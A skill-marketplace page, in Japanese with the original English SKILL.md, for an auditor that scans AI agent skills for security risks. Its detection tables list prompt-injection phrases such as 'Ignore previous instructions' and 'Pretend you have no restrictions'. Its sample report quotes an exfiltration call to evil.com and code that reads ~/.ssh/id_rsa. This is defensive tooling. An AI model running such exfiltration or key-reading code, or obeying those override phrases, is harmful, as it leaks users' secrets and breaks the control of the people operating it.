オプション
家 Skill 安全 skill-security-auditor

skill-security-auditor

alirezarezvani/claude-skills alirezarezvani/claude-skills

導入前にAIエージェントのスキルをスキャンしてセキュリティリスクを監査し、調査結果と是正措置の指針を添えて「PASS」「WARN」「FAIL」の判定結果を算出します。

...すべて拡張します
16
更新された時間 2026年9月2日

スキル・セキュリティ・オーディター

インストール前にAIエージェントのスキルをスキャンし、セキュリティリスクを監査します。 調査結果と是正措置のガイダンスを添えた、明確な「PASS」「WARN」「FAIL」の判定結果を提示します。

クイックスタート

# ローカルのスキルディレクトリを監査する
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Gitリポジトリ内のスキルを監査する
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# 厳格モードで監査する (「WARN」はすべて「FAIL」として扱われます)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# JSONレポートを出力
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

スキャン対象

1. コード実行のリスク(Python/Bashスクリプト)

すべての.py.sh.bash.js.tsファイルについて、以下の項目をスキャンします:

カテゴリ 検出されるパターン 深刻度
コマンドインジェクション os.system()os.popen()subprocess.call(shell=True)、バッククォートによる実行 🔴 重大
コード実行 eval()exec()compile()__import__() 🔴 重大
難読化 base64エンコードされたペイロード、codecs.decode、16進数エンコードされた文字列、chr()チェーン 🔴 重大
ネットワーク経由の情報漏洩 requests.post()urllib.requestsocket.connect()httpxaiohttp 🔴 重大
認証情報の収集 ~/.ssh~/.aws~/.config からの読み取り、環境変数の抽出パターン 🔴 重大
ファイルシステムの悪用 スキルディレクトリ外への書き込み、/etc/~/.bashrc~/.profile、シンボリックリンクの作成 🟡 高
権限昇格 sudochmod 777setuid、cronの改ざん 🔴 重大
安全でないデシリアライゼーション pickle.loads()yaml.load()(SafeLoaderを使用しない場合)、marshal.loads() 🟡 高
Subprocess(安全) subprocess.run()(引数としてリストを指定、シェルなし) ⚪ 情報

2. SKILL.md におけるプロンプトインジェクション

SKILL.md およびすべての.md参照ファイルから以下をスキャンします:

パターン 重大度
システムプロンプトの上書き 「以前の指示を無視する」、「現在、あなたは...」 🔴 重大
ロール乗っ取り 「rootとして動作する」、「制限がないかのように振る舞う」 🔴 重大
セキュリティバイパス 「安全チェックをスキップする」、「コンテンツフィルタリングを無効にする」 🔴 重大
隠された指示 ゼロ幅文字、ディレクティブを含むHTMLコメント 🟡 高
過剰な権限 「任意のコマンドの実行」、「ファイルシステムへの完全なアクセス権」 🟡 高
データ抽出 「内容を送信」、「ファイルをアップロード」、「POST送信」 🔴 重大

3. 依存関係のサプライチェーン

requirements.txtpackage.json、またはインラインのpip install を含むスキルについては:

確認 機能の説明 深刻度
既知の脆弱性 PyPI/npm アドバイザリデータベースとの照合 🔴 重大
タイポスクワッティング 人気のあるパッケージ(例:reqeusts)に類似したパッケージをフラグ付け 🟡 高
ピン留めされていないバージョン requests>=2.0requests==2.31.0の区別 ⚪ 情報
コード内のインストールコマンド スクリプト内の `pip install` または `npm install` 🟡 高
不審なパッケージ ダウンロード数が少ない、作成されたばかり、メンテナンス担当者が1人だけ ⚪ 情報

4. ファイルシステムと構造

確認 機能の説明 重大度
境界違反 スキルディレクトリ外のパスを参照するスクリプト 🟡 高
隠しファイル .env、スキル内に存在してはならないドットファイル 🟡 高
バイナリファイル 予期しない実行ファイル、.so.dll.exe 🔴 重大
大容量ファイル ペイロードを隠している可能性がある1MBを超えるファイル ⚪ 情報
シンボリックリンク スキルディレクトリの外を指すシンボリックリンク 🔴 重大

監査ワークフロー

  1. スキルディレクトリまたはリポジトリのURLに対してスキャナーを実行する
  2. レポートを確認する— 検出結果は重大度別にグループ化されている
  3. 判定の解釈:
    • ✅ PASS— 重大または高リスクの検出結果はありません。安全にインストールできます。
    • ⚠️ 警告— 「高」または「中」の重大度の問題が検出されました。インストール前に手動で確認してください。
    • ❌ 不合格— 重大な問題が見つかりました。是正措置を講じない限り、インストールしないでください。
  4. 是正措置— 各問題には具体的な修正手順が記載されています

レポートの読み方

╔══════════════════════════════════════════════╗
║  スキル セキュリティ監査レポート                ║
║  スキル: example-skill                        ║
║  判定: ❌ 不合格                            ║
╠══════════════════════════════════════════════╣
║  🔴 重大: 2  🟡 高: 1  ⚪ 情報: 3    ║
╚══════════════════════════════════════════════╝

🔴 重大 [CODE-EXEC] scripts/helper.py:42
   パターン: eval(user_input)
   リスク: 信頼できない入力による任意のコード実行
   修正: eval() を ast.literal_eval() または明示的な構文解析に置き換える

🔴 重大 [NET-EXFIL] scripts/analyzer.py:88
   パターン: requests.post("https://evil.com/collect", data=results)
   リスク: 外部サーバーへのデータ流出
   修正: 外部へのネットワーク呼び出しを削除するか、宛先が信頼できることを確認する

🟡 高 [FS-BOUNDARY] scripts/scanner.py:15
   パターン: open(os.path.expanduser("~/.ssh/id_rsa"))
   リスク: スキルの範囲外にある SSH 秘密鍵を読み取る
   修正: スキルディレクトリ外のファイルシステムへのアクセスを削除する

⚪ 情報 [DEPS-UNPIN] requirements.txt:3
   パターン: requests>=2.0
   リスク: ピン留めされていない依存関係により脆弱性が生じる可能性があります
   修正: 特定のバージョンにピン留めする: requests==2.31.0

高度な使用方法

クローンする前にGitからスキルを監査する

# 一時ディレクトリにクローンし、監査を行い、その後クリーンアップ
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD との統合

# GitHub Actions のステップ
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "セキュリティ監査に失敗しました"; exit 1; fi

一括監査

# ディレクトリ内のすべてのスキルを監査
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

脅威モデルの参照

AIエージェントスキルに対する完全な脅威モデル、検出パターン、および既知の攻撃ベクトルについては、references/threat-model.mdを参照してください。

制限事項

  • ロジックボムや時間差で発動するペイロードを確実に検出することはできません
  • 難読化の検出はパターンベースであるため、十分に創意工夫を凝らした攻撃者はこれを回避する可能性がある
  • ネットワーク宛先のレピュテーションチェックにはインターネットアクセスが必要です
  • コードを実行しません — 静的解析のみです(安全ですが、動的解析ほど完全ではありません)
  • 依存関係の脆弱性チェックでは、リアルタイムのCVEデータベースではなく、ローカルのパターンマッチングを使用する

監査後に疑問が残る場合は、インストールしないでください。スキル作成者に確認を求めてください。

GitHubで見る
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---

# Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.

## Quick Start

```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```

## What Gets Scanned

### 1. Code Execution Risks (Python/Bash Scripts)

Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:

| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |

### 2. Prompt Injection in SKILL.md

Scans SKILL.md and all `.md` reference files for:

| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->

### 3. Dependency Supply Chain

For skills with `requirements.txt`, `package.json`, or inline `pip install`:

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |

### 4. File System & Structure

| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |

## Audit Workflow

1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
   - **✅ PASS** — No critical or high findings. Safe to install.
   - **⚠️ WARN** — High/medium findings detected. Review manually before installing.
   - **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance

## Reading the Report

```
╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0
```

## Advanced Usage

### Audit a Skill from Git Before Cloning

```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```

### CI/CD Integration

```yaml
# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```

### Batch Audit

```bash
# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```

## Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).

## Limitations

- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, **don't install**. Ask the skill author for clarification.

すべてのファイル

0件のファイル

skill-security-auditorをインストール

スキルファイルをダウンロードし、.claude/skills/ ディレクトリに解凍してください。

ZIPをダウンロード

リポジトリをクローンし、スキルファイルをプロジェクトにコピーしてください。

git clone https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditor # Copy SKILL.md to your .claude/skills/ directory

コピー コピー
クイックセットアップ: スキルフォルダを .claude/skills/ にコピーしてください。 Claude が自動的にスキルを検出して使用します。

関連スキル

gmgn-portfolio
更新された時間 2026年7月1日
zeroize-audit
更新された時間 2026年7月1日
device-integrity
更新された時間 2026年6月29日
flutter-use-http-package
更新された時間 2026年6月30日
OR